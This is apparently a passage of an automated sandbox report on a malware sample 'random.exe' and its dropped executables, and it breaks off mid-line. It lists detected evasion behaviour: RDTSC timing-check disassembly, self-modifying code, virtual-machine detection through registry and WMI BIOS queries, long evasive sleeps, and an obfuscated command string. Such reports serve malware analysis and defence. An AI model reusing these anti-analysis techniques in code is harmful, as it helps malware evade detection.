Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0888 second address: 53F08E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, cx 0x00000006 call 00007FAC0CE0F768h 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebp, esp 0x00000011 jmp 00007FAC0CE0F761h 0x00000016 and esp, FFFFFFF8h 0x00000019 jmp 00007FAC0CE0F75Eh 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FAC0CE0F767h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F08E8 second address: 53F08EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F08EE second address: 53F0911 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FAC0CE0F75Eh 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov bl, F8h 0x00000014 mov esi, 4C4AC5D5h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0911 second address: 53F0973 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC0CEEBFA1h 0x00000009 xor ecx, 1E692566h 0x0000000f jmp 00007FAC0CEEBFA1h 0x00000014 popfd 0x00000015 mov ax, 9197h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, esi 0x0000001d pushad 0x0000001e mov esi, 192C1C8Fh 0x00000023 mov cx, F2ABh 0x00000027 popad 0x00000028 push eax 0x00000029 jmp 00007FAC0CEEBFA1h 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FAC0CEEBF9Dh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0973 second address: 53F0979 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0979 second address: 53F097D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F097D second address: 53F0981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0981 second address: 53F09A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b jmp 00007FAC0CEEBF9Fh 0x00000010 sub ebx, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F09A2 second address: 53F09C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FAC0CE0F75Eh 0x0000000a sub si, FCF8h 0x0000000f jmp 00007FAC0CE0F75Bh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F09C7 second address: 53F09F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 4AC4771Ah 0x00000008 jmp 00007FAC0CEEBF9Bh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 test esi, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FAC0CEEBFA5h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F09F6 second address: 53F0A51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 05E6EED2h 0x00000008 call 00007FAC0CE0F763h 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 je 00007FAC7E9450CFh 0x00000017 pushad 0x00000018 jmp 00007FAC0CE0F765h 0x0000001d push esi 0x0000001e mov ch, dh 0x00000020 pop esi 0x00000021 popad 0x00000022 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FAC0CE0F762h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0A51 second address: 53F0AF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 mov edi, 3DACAC90h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ecx, esi 0x0000000f jmp 00007FAC0CEEBF9Fh 0x00000014 je 00007FAC7EA218CAh 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FAC0CEEBFA4h 0x00000021 add si, F008h 0x00000026 jmp 00007FAC0CEEBF9Bh 0x0000002b popfd 0x0000002c call 00007FAC0CEEBFA8h 0x00000031 mov ecx, 2240B681h 0x00000036 pop eax 0x00000037 popad 0x00000038 test byte ptr [76FB6968h], 00000002h 0x0000003f pushad 0x00000040 mov cx, di 0x00000043 mov ebx, 769EAF0Ah 0x00000048 popad 0x00000049 jne 00007FAC7EA21880h 0x0000004f jmp 00007FAC0CEEBFA1h 0x00000054 mov edx, dword ptr [ebp+0Ch] 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FAC0CEEBF9Dh 0x0000005e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0AF5 second address: 53F0AFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0AFB second address: 53F0AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0AFF second address: 53F0B03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0B03 second address: 53F0B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FAC0CEEBFA4h 0x0000000e mov dword ptr [esp], ebx 0x00000011 pushad 0x00000012 mov edi, esi 0x00000014 call 00007FAC0CEEBF9Ah 0x00000019 mov di, cx 0x0000001c pop esi 0x0000001d popad 0x0000001e push ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FAC0CEEBFA9h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0B51 second address: 53F0B8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 7932h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebx 0x0000000d pushad 0x0000000e mov di, 5756h 0x00000012 mov cl, dh 0x00000014 popad 0x00000015 push dword ptr [ebp+14h] 0x00000018 jmp 00007FAC0CE0F766h 0x0000001d push dword ptr [ebp+10h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov si, dx 0x00000026 mov dx, A4BCh 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400CD2 second address: 5400CF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAC0CEEBFA3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400CF3 second address: 5400D47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC0CE0F75Fh 0x00000009 jmp 00007FAC0CE0F763h 0x0000000e popfd 0x0000000f mov cx, 8A7Fh 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov dword ptr [esp], ebp 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushfd 0x0000001d jmp 00007FAC0CE0F75Eh 0x00000022 xor ax, F668h 0x00000027 jmp 00007FAC0CE0F75Bh 0x0000002c popfd 0x0000002d rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400D47 second address: 5400D84 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007FAC0CEEBFA5h 0x0000000d sbb ax, C086h 0x00000012 jmp 00007FAC0CEEBFA1h 0x00000017 popfd 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400D84 second address: 5400D97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F75Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400D97 second address: 5400D9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dh 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400A23 second address: 5400A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC0CE0F764h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400A3B second address: 5400A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400A3F second address: 5400A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FAC0CE0F75Ah 0x00000010 add ecx, 7B084478h 0x00000016 jmp 00007FAC0CE0F75Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FAC0CE0F766h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400A7E second address: 5400A98 instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c mov di, ax 0x0000000f mov ebx, ecx 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400A98 second address: 5400A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400A9C second address: 5400AA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400AA0 second address: 5400AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 548092E second address: 5480932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5480932 second address: 5480949 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F763h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5480949 second address: 54809A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC0CEEBF9Fh 0x00000009 and ecx, 5A1CF33Eh 0x0000000f jmp 00007FAC0CEEBFA9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 jmp 00007FAC0CEEBF9Ah 0x0000001e mov dword ptr [esp], ebp 0x00000021 pushad 0x00000022 mov cl, 34h 0x00000024 mov eax, edx 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FAC0CEEBFA0h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54809A7 second address: 54809BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F75Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bh, A9h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\random.exe Special instruction interceptor: First address: 9CF51A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe Special instruction interceptor: First address: 9D85F7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe Special instruction interceptor: First address: A59DFE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: E8F51A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: E985F7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: F19DFE instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Memory allocated: E00000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Memory allocated: 27E0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Memory allocated: 47E0000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_054801E3 rdtsc 0_2_054801E3
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1340 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1238 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1306 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1235 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2612 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2940 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3890
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 471
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1076878001\OvLh8V8.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1077101101\6e88b14e1e.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1076858001\TaVOM7x.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\OvLh8V8[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\pythiksdaw[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Dropped PE file which has not been started: C:\QZXDK\pythiksdaw.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\TaVOM7x[1].exe Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe API coverage: 5.8 %
Source: C:\ProgramData\IaobsEngine\IaobsEngine.exe API coverage: 2.9 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8180 Thread sleep time: -58029s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8160 Thread sleep count: 1340 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8160 Thread sleep time: -2681340s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8152 Thread sleep count: 1238 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8152 Thread sleep time: -2477238s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8140 Thread sleep count: 263 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8140 Thread sleep time: -7890000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8164 Thread sleep count: 1306 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8164 Thread sleep time: -2613306s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8168 Thread sleep count: 1235 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8168 Thread sleep time: -2471235s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8160 Thread sleep time: -56028s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576 Thread sleep count: 2612 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576 Thread sleep count: 2940 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620 Thread sleep time: -3689348814741908s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7600 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7952 Thread sleep count: 3890 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7952 Thread sleep count: 471 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7996 Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8008 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe TID: 5080 Thread sleep time: -150000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe TID: 3652 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe TID: 7932 Thread sleep count: 198 > 30
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe TID: 4348 Thread sleep time: -90000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe TID: 2004 Thread sleep time: -30000s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\random.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF78800446C FindFirstFileExW, 45_2_00007FF78800446C
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Local\Microsoft\WindowsApps\
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Local\
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\
Source: skotes.exe, skotes.exe, 00000006.00000002.2980787324.0000000000E6C000.00000040.00000001.01000000.00000007.sdmp, KbSwZup.exe, 0000003C.00000002.2775897232.00000000009F9000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: cmd.exe, 00000015.00000003.2471418957.0000020914D72000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: !wgZEeXRPewkuXyHoYosqvfziiUlhndAGyCQbgVbShXcyiktEJw! "X%RnTRWXpkPjsALZkXxDKSOMBqruwwItYzlBnypjLAQ%l%TNuJtwGWyhvbMpfLCzCBTBvkSojLLHnRkbUZgHXYQ%Q%zjmCyzmiNNJjZXsrkQemUlRTERLvfFUBEKurjHuOW%F%DYTEHldBHWQTLVnssYGORciShFoCaiCvqqrnYpWGH%f%TyJeITOgZRJNZeAQawcWABztuDuEZudbahYEyOyLz%L%wbqTIqlQxXTTJgrYqJfykgEOHMSgWrlXqweAizMnj%i%OCwkhrbGFiftnppwClVxeTgLVCmbQQQWSovEiEzvR%b%zrigEdgPeFnRPeUvKoEeZQPsiAZTKoYLzGFCYFqzg%I%lMkDfcjBixpUqRJBQXddmeQGBrjzrxfXfYNdEPdxP%y%sCQJQjPVaiImwThWEbNTKjKrrPsdGXbTFoUCZWKit%g%DqpxLJeGhaNqEfiRzsbQMpdgOGiZEXHqFAgTvUGgn%d%wzXnDbiLKAEJsHnniIeBfbjsxLdYpwEMUCpQgTlFZ%C%nUwcGmSTFmmCFhupEPSXkvoVSPPswhoxyBShNpQyl%D%fJjsjovUBBdsHORFAkRxAwyXOddpnBoZtMfLeDIAu%b%xVFkeRNaCmfZaLIkmDglfHZmeYUJfAXBqdcATMJlq%U%pLpiZtbwBSZCpoQVsgfXeUboEIWJirzTVUQVJdeFT%h%mEIXZbOlFAGEomuJbErwsojsfHuyVlobAdRpsqFHi%F%xCRTpGIvlIzNiBYvpSsGqqtlFdkufqKZJoULrzPaM%g%dJDPnrCSTdymbRhjFolwnpUYzeUHndQcrUnHPvrMH%v%BlnlMIwMBLlDDyNOFqjxVFPnwVhEAtkWzOLdHMMvx%E%ULrFyNvzSkfhpMWvaPRBSmhBoeOMJgSDNZaTxIYhL%Z%eHjePkcPIGWVUFHEQqtZJQLrCupLdXsRKPNFYxzTM%L%WbAWHSusoHrEiboVRCuVqLKoflfRcFtRAmMOlvUBU%E%sOqanBOyJhUeYwkrlQwNCpJozeVoAJvITbXXunRJq%=@%tyyNBQBxaFxNrcfbBjGzYZLmkXynXXYMwjWkQMCfNcJQkgK%"
Source: skotes.exe, 00000006.00000003.2221131772.00000000044F0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 4H9IlVmci1O3G1zh.exex
Source: KbSwZup.exe, 0000003C.00000003.2601435808.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000002.2777898182.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2741039176.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2581809960.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2636527012.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2771240838.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2714063342.00000000014B6000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWn
Source: skotes.exe, 00000006.00000002.2978906363.0000000000868000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW/
Source: wYfLzVg.exe, 0000002D.00000002.2719866469.00000140B45C5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW0
Source: wYfLzVg.exe, 0000002D.00000002.2719866469.00000140B4652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}@
Source: 949wScO.exe, 0000003F.00000002.2744724650.0000000003B00000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 4H9IlVmci1O3G1zh.exe
Source: skotes.exe, 00000006.00000002.2978906363.0000000000868000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2978906363.0000000000828000.00000004.00000020.00020000.00000000.sdmp, wYfLzVg.exe, 0000002D.00000002.2719866469.00000140B460F000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2601435808.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000002.2777898182.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000002.2777742594.000000000146A000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2741039176.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2581809960.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2774723274.000000000146A000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 